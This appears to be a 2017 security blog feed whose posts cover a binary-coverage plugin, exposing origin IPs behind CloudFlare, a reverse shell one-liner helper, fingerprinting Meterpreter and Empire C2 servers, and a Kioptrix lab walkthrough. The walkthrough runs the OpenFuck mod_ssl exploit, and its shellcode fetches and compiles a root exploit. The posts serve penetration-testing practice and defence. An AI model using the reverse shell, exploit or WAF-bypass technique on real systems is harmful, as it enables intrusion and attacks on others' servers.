Friday, October 6, 2017

Pin Visual Coverage Tool for Binary Ninja


I've been getting familiar with Vector 35's Binary Ninja. It's an incredible, affordable, cross-platform static analysis toolkit for binaries. Binary Ninja also has an intuitive Python API, which you will see soon.

Pin is Intel's dynamic binary instrumentation toolkit. It allows you to easily write your own plugins in C++ for dynamically instrumenting code on the fly. I've decided to use this tool in conjunction with Binary Ninja to provide visual code coverage for test cases, or for quickly identifying dead code paths. This has been an over simplification of both Binary Ninja, and Pin. You should check them both out, and see if they are right for you.

I am not an expert in either of these tools, and this has been my first endeavor writing plugins for either of them. As such, if you see something wrong, then please submit a pull request. This whole process has been a learning experience, and I'm always down to sharpen the toolkit.

Install Pin

This was all done on a Linux based system. First, go ahead and download + extract the Pin toolkit. You'll want to place the path where it's been extracted into your $PATH variable.

$ echo 'export PATH=$PATH:/home/whatever/pin-gcc-tool' >> ~/.bashrc
$ . ~/.bashrc

Inside of the pin directory you will see source/tools. This is where the plugins that are shipped with Pin. You can compile them individually, and play around with their functionality. A typical execution will look like the following, which will execute /bin/ls with the desired instrumentation.

$ pin -t (shared object of plugin) -- /bin/ls 

Go ahead and grab a copy of BasicBlocks from github. BasicBlocks is a pin tool written for this Binary Ninja plugin. It prints the address of each basic block that is executed. We'll import this data later into Binary Ninja, in order to get a visual analysis of code coverage.

$ git clone
$ cd BasicBlocks
$ make
$ pin -t obj-intel64/ -- /bin/ls > /tmp/ls.ptrace

Install BN Pin Coverage into Binary Ninja

The plugin directory is generally stored in ~/.binaryninja/plugins on Linux based systems. Go ahead and clone the plugin into that directory.

$ git clone ~/.binaryninja/plugins/BNPinCoverage

Now, you can fire up Binary Ninja, and two menu items will be added under the Tool menu.

Go ahead and open /bin/ls. If you haven't generated a basic block trace, go ahead and run the pin command shown above. Our next step will be to import it into Binary Ninja.

If the binary is compiled as a Position Independent Executable (PIE), the plugin will attempt to calculate the slide from the initial Basic Block to the program's entry point. This has so far been successful on x86_64 Linux using both tcpdump, and tshark as examples. Below is a screenshot from tshark with PIE enabled, and a Basic Block trace using the pcap testcase that ships with AFL.


Tuesday, October 3, 2017

Exposing Server IPs Behind CloudFlare


CloudFlare is a complete solution offering Content Deliver Network (CDN) style capabilities along with Web Application Firewalls (WAF). It's also a market leading solution for Distributed Denial of Service (DDoS) mitigation for websites. CloudFlare works by placing its server arrays in front of a website and determines whether or not to allow traffic to pass through. For a more detailed listing of capabilities, please read CloudFlare's own Blog.

In order for the system to remain effective, all traffic must pass through the CloudFlare network. If we are able to directly connect to end systems, we can often bypass the WAF or target specific systems for traffic shaping or DoS attacks.

Existing Techniques

There has been some effort in the past to unmask servers hiding behind CloudFlare. One website in particular maintains a database of IPs that appear to have been exposed. Not all of their techniques are public, and there appears to be a large gap in most of their data.

Many have also used historical DNS records to track previously exposed systems. Forcing a server to send an e-mail for user registration or mailing lists can also expose backend infrastructure. These techniques also create some gaps, and you may only be able to find an IP or two that is still relevant.


When you use CloudFlare to front your website, an SSL/TLS certificate is automatically registered by CloudFlare for your domain. This means that traffic going to your site is initially encrypted when it hits CloudFlare's servers. From there, traffic may very well be in plain text back to your server. Many sites opt to have their own certificates to protect the second half of the transaction.

In order to maintain a trusted certificate, you must prove to some level of degree that you are the owner of a domain. This burden of proof, and trust mechanism makes it easy to associate true server IPs to CloudFlare protected domains. By utilizing large data sets that have been scraped from the Internet, it's possible to find non-CloudFlare servers by associating previously generated certificates with live hosts. is a great resource that relies on data sets from Both are incredible repositories of information that have been gathered by scanning the Internet at regular intervals. There are multiple types of scans from dns and ftp to http/https scans of all public IPv4 space. Censys has graciously offered a public API for researchers to use. We are going to use the scraped certificates from across the Internet to identify potential servers hiding behind CloudFlare.


You'll need to utilize your API credentials after registering with Censys. These can be found under My Account. The only Python requirement is censys's maintained PIP package.

pip install censys


        Host: *
        Fingerprint: 40b4b7b947cfe8fa96bf8b13244a6d0f535e372be455b8144cf12d5edfd5a490
Hosts: 40b4b7b947cfe8fa96bf8b13244a6d0f535e372be455b8144cf12d5edfd5a490
        Found host:
        Found host:

Examining Top Domains

I downloaded a top million list of domains from Statvoo. From there, I extracted the top 50k domain names, and ran scans to see which domains were using cloudflare. I stopped the scanning once the list was close to 9000 (9038). I then modified the cloudsnare script to add a soft form of rate-limiting. The numbers are not exact, as I did hit a few exceptions here and there in the script, but I was able to observe at least 1842 domains that leak some sort of IP address based on public certificate data. That's right at ~20% of top domains being affected. Note: I did not go through and check every domain for types of systems exposed, or weed out any false positives.

List of domains


CloudFlare has a great blog post about keeping your IP space private. You should restrict inbound traffic to your HTTP/HTTPs ports, and only allow connections from CloudFlare IPs. If you are worried about CloudFlare changing IP space, you can use your host's default domain while registering certificates. For instance in AWS, you might have an issued domain from your service provider similar to Traffic will still be encrypted between your host and CloudFlare, but won't expose any of your systems to this technique.


Thursday, August 10, 2017

Reverse shell payload helper


After bookmarking and constantly referencing the correct format for various types of reverse shell one-liners from Pentstmonkey, I decided to write a quick helper script for generating the correct code along with automatically filling in the IP address. Simply replace the interface variable with the name of the interface you conduct your penetration tests on and spawn your netcat listener.


$ bash 443
bash -i >& /dev/tcp/ 0>&1


Tuesday, April 11, 2017

Hunting Red Team Meterpreter C2 Infrastructure


This is part 2 of hunting Red Team C2 Infrastructure. Part 1 covered finding Empire C2 end points. In this post, we will show how to do the same for Meterpreter. There were no immediate crashing bugs found in the Meterpreter HTTP/S handler, but there is still enough information to profile these end points.


Meterpreter is an advanced C2 infrastructure often used as a payload with the popular Metasploit exploit framework. It's cross-platform and highly extensible. In this post, we will focus on finding the reverse HTTP/S handlers for Meterpreter.

Meterpreter Headers

Using the HTTP request of GET / HTTP/1.0, the following headers were returned.

HTTP/1.1 200 OK
Connection: close
Server: Apache
Content-Length: 44

The thing that stands out here (similar to Empire) is the general lack of headers that would normally be present in a request. Also, the fact that we used HTTP/1.0 as the protocol, but the reply is still for HTTP/1.1

Meterpreter default page

<html><body><h1>It works!</h1></body></html>

Hashes of defaul page

MD5: c7b4690c8c46625ef0f328cd7a24a0a3
SHA1: 12179caec26a089cabcbb75c4dbe0bdfe60951f7
SHA2: 8f3ff2e2482468f3b9315a433b383f0cc0f9eb525889a34d4703b7681330a3fb

Finding Meterpreter Listeners with Shodan

Shodan is a search engine for Security Researchers. They routinely scan common ports across the Internet, and make the data publicly available, and easily searchable. APIs are also provided for automating a lot of the tasks required.

Using the common headers, and default web page listed above, we are able to narrow down the list of possible Meterpreter C2 node candidates on the Internet with a simple query.

'Server: Apache' 'It works!' -'Content-Type' 'Length: 44'

You'll notice that the results returned all are HTTP/1.1 with matching profiles that we scoped out above.

Random URLs

Another characteristic that makes Meterpreter listeners easy to identify, is that all requests that aren't to the backend result in the same response. Random URLs will get the same response as grabbing the index. Legitimate servers will typically produce a 404 error.
GET /lkafjdklfjasdklfjalkdjflkajd HTTP/1.0

Changing default values

There's no excuse for leaving your C2 node exposed to the entire Internet. Use whitelisting of IP space in order to keep your tests in scope, and avoid having other people attack your nodes. In order to change the default server and page discussed above, these are all part of the advanced settings.

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LPORT 8000
show advanced
set MeterpreterServerName nginx
set HttpUnknownRequestResponse httml_here

Going beyond Shodan

In case there are any questions about the servers found being Meterpreter listeners, the following is a valid URI that will download Stage1 of the Meterpreter session from any given reverse HTTP/S listener.

GET /huO7Mf9GbAoRFBAVSfkxDwLTm3Wcz8n3kuXycv7k4vWV-_dXg3aY1iQy83Cejls15IeYlhUZ0QMT8S1zHKR33-Ga1rVIiV6QNFjXzTgr4lwNq_YR1tqyIbl9ddVzJ8UeYWJ0MJnThtVJ7d46IZnwHYok-XXZJrhqgUaaJMQtmCGCQWFA9tXMVtZtQEaR9Hse2Muw-P5TX4M7LKtm93LLFCT5i1NshdiwcWOnVJq HTTP/1.0

As we discussed in part 1, we can use data in order to get a broader search of HTTPS servers. If you still have a copy of the data, you can run a zgrep search like the following to identify possible C2 nodes from this data.

zgrep 'PGh0bWw+PGJvZHk+PGgxPkl0IHdvcmtzITwvaDE+PC9ib2R5PjwvaHRtbD4=' 20170221-https.gz > /tmp/results.json

This may take several minutes to run, as the datasets are generally several gigabytes in size. The result will be a file containing JSON data for each host that returned the default Meterpreter HTML. You can parse this file and extract each IP address that should be tested.

Happy hunting.

Thursday, April 6, 2017

Fixing and troubleshooting OpenFuck Exploit

In a previous post I had went over a walk through for Kioptrix Level 1. I had some issues and wanted to document them for anyone else that may run into those issues. I'll admit that my first problem was getting ahead of myself and trying to compile the source code before doing anything else. Finally googling gave the answer that was right smack dab in front of my face which is looking at the first 8 lines of the source

 * E-DB Note: Updating OpenFuck Exploit ~
 * OF version r00t VERY PRIV8 spabam
 * Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
 * objdump -R /usr/sbin/httpd|grep free to get more targets
 * #hackarena

Beyond doing what is outlined on I had done a dist-upgrade to kali which seemed to have mess with some other settings. On top of installing libssl-dev it appeared I was missing some more ssl libraries and i'll be honest in saying i'm not sure which one it was that fixed my issue but I ended up installing libssl1.0-dev, libssl1.0.2, libssl1.1 as outlined below

root@kali:~# apt-cache search libssl
cl-plus-ssl - Common Lisp interface to OpenSSL
dcmtk - OFFIS DICOM toolkit command line utilities
dlang-openssl - D version of the C headers for openssl
libdcmtk-dev - OFFIS DICOM toolkit development libraries and headers
libdcmtk8 - OFFIS DICOM toolkit runtime libraries
libssl-dev - Secure Sockets Layer toolkit - development files
libssl-doc - Secure Sockets Layer toolkit - development documentation
libssl-ocaml - OCaml bindings for OpenSSL (runtime)
libssl-ocaml-dev - OCaml bindings for OpenSSL
libssl1.0-dev - Secure Sockets Layer toolkit - development files
libssl1.0.2 - Secure Sockets Layer toolkit - shared libraries
libssl1.1 - Secure Sockets Layer toolkit - shared libraries
perl-openssl-defaults - version compatibility baseline for Perl OpenSSL packages
r-cran-openssl - GNU R toolkit for encryption, signatures and certificates based on OpenSSL

The point of this is that you may have some missing libraries and trying to compile the source with these missing libraries doesn't exactly tell you that you're missing it or which ones. So if you are still getting errors when compiling after following what is outlined in you may want to try to install those other ssl libraries like I had to.

Kioptrix 1 - Vulnhub Walkthrough - ssl_mod


This is the second walk through I’m doing in the series. I’m tackling VM’s that are told to be similar to what’s on the OSCP PWK. Since I’ll be tackling the OSCP again in the future I figure this will be good practice in the meantime.

Kioptrix is a series itself with I believe 5 vulnerable VM’s geared towards beginners and since that’s still what I consider myself I’m going to tackle this whole series.

I had some trouble early on with the initial porting from VMWare vmdk to VirtualBox since that’s what I’m currently using. Porting it over isn’t hard just have to remember from the last time I did it. A quick google turned up the easy information I had forgotten. Also to note my version of VirtualBox defaulted to SSD for the hard drive but Kioptrix wasn’t having that giving me a kernel panic. Changing that to IDE hard drive fixed it. Next issue was getting dhcp to issue a ip address. I have pfsense running for internal network to keep my environment safe and not let anything in or out other than the host OS. For whatever reason Kioptrix didn’t like the intel pro100/1000 virtual chipset so I had to change that PCNet PCI II for it to get dhcp. I assume that has something to do with my version of VirtualBox and how old the kernel on the VM is. Either way I got it working.


As always I start enumerating the ports to see what’s open gathering the headers and versions and OS information. ENUMERATE ALL THE THINGS!

root@kali:~# nmap -sV -Pn -p1-65535 -A --open 

Starting Nmap 7.40 ( ) at 2017-04-02 13:57 CDT
Nmap scan report for
Host is up (0.00033s latency).
Not shown: 65529 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey: 
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp   open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1          32768/tcp  status
|_  100024  1          32770/udp  status
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2017-04-02T19:56:59+00:00; +59m19s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|_    SSL2_RC4_128_WITH_MD5
32768/tcp open  status      1 (RPC #100024)
MAC Address: 08:00:27:AF:56:C9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_clock-skew: mean: 59m18s, deviation: 0s, median: 59m18s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: , NetBIOS MAC:  (unknown)

1   0.33 ms

So just the open ports and services seem to give a great deal of information. We see both port 80 and 443 open so lets run nikto and see what it comes up with next.

root@kali:~# nikto -host
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2017-04-05 21:25:29 (GMT-5)
+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep  5 22:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell., OSVDB-756.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS).
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
+ Scan terminated:  17 error(s) and 19 item(s) reported on remote host
+ End Time:           2017-04-05 21:33:12 (GMT-5) (463 seconds)
+ 1 host(s) tested

I highlighted the part that looked most interesting to me. Seems there's a remote buffer overflow which allows attackers to kill any process on the system with CVE 2002-0082 so lets google around for that.

Looks like we have an exploit from exploit-db! That's very hopeful. Prior to going all out and compiling and attacking read the source first. The source tells you it's outdated and needs to have some updates and shows a url to head to. Remember the CVE is from 2002! So heading over to the url it shows the following updates that need made.

apt-get install libssl-dev

add the following libraries to the source code

#include <openssl/rc4.h>
#include <openssl/md5.h>

Next search in the source code for "wget" without the quotes and replace the url you find with this one
Next find line 961 and add "const" to the beginning should look like the following
const unsigned char *p, *end;

Finally we need to compile it

gcc -o OpenFuck 764.c -lcrypto

I had done mine slightly different since since my lab doesn't go out to the internet other than my kali box if I change the network configuration. So I downloaded ptrace-kmod.c from packetstormsecurity to my kali box and moved it to /var/www/html and started apache and changed the line with wget to

mv ptrace-kmod.c /var/www/html
service apache2 start

Finally let's run the exploit!

root@kali:~# ./openfuck

* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

: Usage: ./openfuck target box [port] [-c N]

  target - supported box eg: 0x00
  box - hostname or IP address
  port - port for ssl connection
  -c open N connections. (use range 40-50 if u dont know)

  Supported OffSet:
 0x00 - Caldera OpenLinux (apache-1.3.26)
 0x01 - Cobalt Sun 6.0 (apache-1.3.12)
 0x02 - Cobalt Sun 6.0 (apache-1.3.20)
 0x03 - Cobalt Sun x (apache-1.3.26)
 0x04 - Cobalt Sun x Fixed2 (apache-1.3.26)
 0x05 - Conectiva 4 (apache-1.3.6)
 0x06 - Conectiva 4.1 (apache-1.3.9)
 0x07 - Conectiva 6 (apache-1.3.14)
 0x08 - Conectiva 7 (apache-1.3.12)
 0x09 - Conectiva 7 (apache-1.3.19)
 0x0a - Conectiva 7/8 (apache-1.3.26)
 0x0b - Conectiva 8 (apache-1.3.22)
 0x0c - Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)
 0x0d - Debian GNU Linux (apache_1.3.19-1)
 0x0e - Debian GNU Linux (apache_1.3.22-2)
 0x0f - Debian GNU Linux (apache-1.3.22-2.1)
 0x10 - Debian GNU Linux (apache-1.3.22-5)
 0x11 - Debian GNU Linux (apache_1.3.23-1)
 0x12 - Debian GNU Linux (apache_1.3.24-2.1)
 0x13 - Debian Linux GNU Linux 2 (apache_1.3.24-2.1)
 0x14 - Debian GNU Linux (apache_1.3.24-3)
 0x15 - Debian GNU Linux (apache-1.3.26-1)
 0x16 - Debian GNU Linux 3.0 Woody (apache-1.3.26-1)
 0x17 - Debian GNU Linux (apache-1.3.27)
 0x18 - FreeBSD (apache-1.3.9)
 0x19 - FreeBSD (apache-1.3.11)
 0x1a - FreeBSD (apache-
 0x1b - FreeBSD (apache-
 0x1c - FreeBSD (apache-
 0x1d - FreeBSD (apache-
 0x1e - FreeBSD (apache-1.3.12)
 0x1f - FreeBSD (apache-1.3.14)
 0x20 - FreeBSD (apache-1.3.14)
 0x21 - FreeBSD (apache-1.3.14)
 0x22 - FreeBSD (apache-1.3.14)
 0x23 - FreeBSD (apache-1.3.14)
 0x24 - FreeBSD (apache-1.3.17_1)
 0x25 - FreeBSD (apache-1.3.19)
 0x26 - FreeBSD (apache-1.3.19_1)
 0x27 - FreeBSD (apache-1.3.20)
 0x28 - FreeBSD (apache-1.3.20)
 0x29 - FreeBSD (apache-1.3.20+2.8.4)
 0x2a - FreeBSD (apache-1.3.20_1)
 0x2b - FreeBSD (apache-1.3.22)
 0x2c - FreeBSD (apache-1.3.22_7)
 0x2d - FreeBSD (apache_fp-1.3.23)
 0x2e - FreeBSD (apache-1.3.24_7)
 0x2f - FreeBSD (apache-1.3.24+2.8.8)
 0x30 - FreeBSD 4.6.2-Release-p6 (apache-1.3.26)
 0x31 - FreeBSD 4.6-Realease (apache-1.3.26)
 0x32 - FreeBSD (apache-1.3.27)
 0x33 - Gentoo Linux (apache-1.3.24-r2)
 0x34 - Linux Generic (apache-1.3.14)
 0x35 - Mandrake Linux X.x (apache-1.3.22-10.1mdk)
 0x36 - Mandrake Linux 7.1 (apache-1.3.14-2)
 0x37 - Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)
 0x38 - Mandrake Linux 7.2 (apache-1.3.14-2mdk)
 0x39 - Mandrake Linux 7.2 (apache-1.3.14) 2
 0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)
 0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)
 0x3c - Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)
 0x3d - Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)
 0x3e - Mandrake Linux 8.0 (apache-1.3.19-3)
 0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)
 0x40 - Mandrake Linux 8.2 (apache-1.3.23-4)
 0x41 - Mandrake Linux 8.2 #2 (apache-1.3.23-4)
 0x42 - Mandrake Linux 8.2 (apache-1.3.24)
 0x43 - Mandrake Linux 9 (apache-1.3.26)
 0x44 - RedHat Linux ?.? GENERIC (apache-1.3.12-1)
 0x45 - RedHat Linux TEST1 (apache-1.3.12-1)
 0x46 - RedHat Linux TEST2 (apache-1.3.12-1)
 0x47 - RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)
 0x48 - RedHat Linux 4.2 (apache-1.1.3-3)
 0x49 - RedHat Linux 5.0 (apache-1.2.4-4)
 0x4a - RedHat Linux 5.1-Update (apache-1.2.6)
 0x4b - RedHat Linux 5.1 (apache-1.2.6-4)
 0x4c - RedHat Linux 5.2 (apache-1.3.3-1)
 0x4d - RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)
 0x4e - RedHat Linux 6.0 (apache-1.3.6-7)
 0x4f - RedHat Linux 6.0 (apache-1.3.6-7)
 0x50 - RedHat Linux 6.0-Update (apache-1.3.14-2.6.2)
 0x51 - RedHat Linux 6.0 Update (apache-1.3.24)
 0x52 - RedHat Linux 6.1 (apache-1.3.9-4)1
 0x53 - RedHat Linux 6.1 (apache-1.3.9-4)2
 0x54 - RedHat Linux 6.1-Update (apache-1.3.14-2.6.2)
 0x55 - RedHat Linux 6.1-fp2000 (apache-1.3.26)
 0x56 - RedHat Linux 6.2 (apache-1.3.12-2)1
 0x57 - RedHat Linux 6.2 (apache-1.3.12-2)2
 0x58 - RedHat Linux 6.2 mod(apache-1.3.12-2)3
 0x59 - RedHat Linux 6.2 update (apache-1.3.22-5.6)1
 0x5a - RedHat Linux 6.2-Update (apache-1.3.22-5.6)2
 0x5b - Redhat Linux 7.x (apache-1.3.22)
 0x5c - RedHat Linux 7.x (apache-1.3.26-1)
 0x5d - RedHat Linux 7.x (apache-1.3.27)
 0x5e - RedHat Linux 7.0 (apache-1.3.12-25)1
 0x5f - RedHat Linux 7.0 (apache-1.3.12-25)2
 0x60 - RedHat Linux 7.0 (apache-1.3.14-2)
 0x61 - RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)
 0x62 - RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)
 0x63 - RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)
 0x64 - RedHat Linux 7.1 (apache-1.3.19-5)1
 0x65 - RedHat Linux 7.1 (apache-1.3.19-5)2
 0x66 - RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)
 0x67 - RedHat Linux 7.1-Update (1.3.22-5.7.1)
 0x68 - RedHat Linux 7.1 (apache-1.3.22-src)
 0x69 - RedHat Linux 7.1-Update (1.3.27-1.7.1)
 0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
 0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
 0x6c - RedHat Linux 7.2-Update (apache-1.3.22-6)
 0x6d - RedHat Linux 7.2 (apache-1.3.24)
 0x6e - RedHat Linux 7.2 (apache-1.3.26)
 0x6f - RedHat Linux 7.2 (apache-1.3.26-snc)
 0x70 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)1
 0x71 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)2
 0x72 - RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)
 0x73 - RedHat Linux 7.3 (apache-1.3.23-11)1
 0x74 - RedHat Linux 7.3 (apache-1.3.23-11)2
 0x75 - RedHat Linux 7.3 (apache-1.3.27)
 0x76 - RedHat Linux 8.0 (apache-1.3.27)
 0x77 - RedHat Linux 8.0-second (apache-1.3.27)
 0x78 - RedHat Linux 8.0 (apache-2.0.40)
 0x79 - Slackware Linux 4.0 (apache-1.3.6)
 0x7a - Slackware Linux 7.0 (apache-1.3.9)
 0x7b - Slackware Linux 7.0 (apache-1.3.26)
 0x7c - Slackware 7.0  (apache-1.3.26)2
 0x7d - Slackware Linux 7.1 (apache-1.3.12)
 0x7e - Slackware Linux 8.0 (apache-1.3.20)
 0x7f - Slackware Linux 8.1 (apache-1.3.24)
 0x80 - Slackware Linux 8.1 (apache-1.3.26)
 0x81 - Slackware Linux 8.1-stable (apache-1.3.26)
 0x82 - Slackware Linux (apache-1.3.27)
 0x83 - SuSE Linux 7.0 (apache-1.3.12)
 0x84 - SuSE Linux 7.1 (apache-1.3.17)
 0x85 - SuSE Linux 7.2 (apache-1.3.19)
 0x86 - SuSE Linux 7.3 (apache-1.3.20)
 0x87 - SuSE Linux 8.0 (apache-1.3.23)
 0x88 - SUSE Linux 8.0 (apache-1.3.23-120)
 0x89 - SuSE Linux 8.0 (apache-1.3.23-137)
 0x8a - Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)
Looks like we need to do a little more. So we know we have RedHat and we know it's apache 1.3.20. So looks like our options are
0x6a or 0x6b

Lets try the first one

root@kali:~# ./openfuck 0x6a 443

* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80ffe70
Ready to send shellcode
Spawning shell...
Good Bye!

Doesn't look like it so lets try the other one

root@kali:~# ./openfuck 0x6b 443

* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
ace-kmod.c; rm ptrace-kmod.c; ./p;  wget; gcc -o p ptr 
           => `ptrace-kmod.c'
Connecting to connected!
HTTP request sent, awaiting response... 200 OK
Length: 4,128 [text/x-csrc]

    0K ....                                                  100% @   3.94 MB/s

15:08:48 (3.94 MB/s) - `ptrace-kmod.c' saved [4128/4128]

/usr/bin/ld: cannot open output file p: Permission denied
collect2: ld returned 1 exit status

We have root! Also it might take a couple times of running OpenFuck before it works but it will work if all is set up correctly. In another post i'll go over troubleshooting for OpenFuck since I had a hard time after doing a dist-upgrade of kali. Hope y'all enjoy these walk throughs.

Wednesday, April 5, 2017

Hunting Red Team Empire C2 Infrastructure


While playing around with setting up my C2 nodes and redirectors for an engagement, I decided to start poking around at both Empire and Meterpreter's default setups. The end goal of this project was to be able to positively identify nodes on the Internet that are being used actively by attackers or Red Teams with little to no scope filtering. The results were interesting, and the first time investigating revealed over twenty easy to find C2 nodes running stock Empire or Meterpreter reverse http/s sessions.

History of Failure

Coding is difficult, even for hackers. Both Empire, and Metasploit projects have a history of Remote Code Execution vulnerabilities. Red Teams need to go to great lengths in order to keep people from compromising their crown jewels which includes active agents and client data.

Empire RCE
Metasploit RCE


Empire, now in beta for 2.0 includes both Powershell Empire as well as the python version Empyre. The Empire listener is based on BaseHTTPServer in Python and provides an extraction layer on top of it. Let's take a look at the HTTP headers that are present in default Empire configuration.

Empire Headers

Using the HTTP request of GET / HTTP/1.1, the following headers were returned.

HTTP/1.0 200 OK
Server: Microsoft-IIS/7.5
Date: Wed, 05 Apr 2017 18:26:10 GMT

The thing that stands out here is the general lack of headers that would normally be present in a request. Also, the fact that we used HTTP/1.1 as the protocol, but the reply is still for HTTP/1.0

Empire default page

<html><body><h1>It works!</h1><p>This is the default web page for this server.</p><p>The web server software is running but no content has been added, yet.</p></body></html>

Hashes of defaul page

MD5: 885ecd7910c988f1f15fcacca5e1734e
SHA1: b642227fbc703af1a67edb665241fc709ecd6f6e
SHA2: a58fb107072d9523114a1b1f17fbf5e7a8b96da7783f24d84f83df34abc48576

Finding Empire Listeners with Shodan

Shodan is a search engine for Security Researchers. They routinely scan common ports across the Internet, and make the data publicly available, and easily searchable. APIs are also provided for automating a lot of the tasks required.

Using the common headers, and default web page listed above, we are able to narrow down the list of possible Empire C2 nodes on the Internet with a simple query.

'Microsoft-IIS/7.5' 'It works!' -'Content-Type' -'Set-Cookie'

You'll notice that the results returned all are HTTP/1.0 with matching profiles that we scoped out above.

Finding an exception in Empire

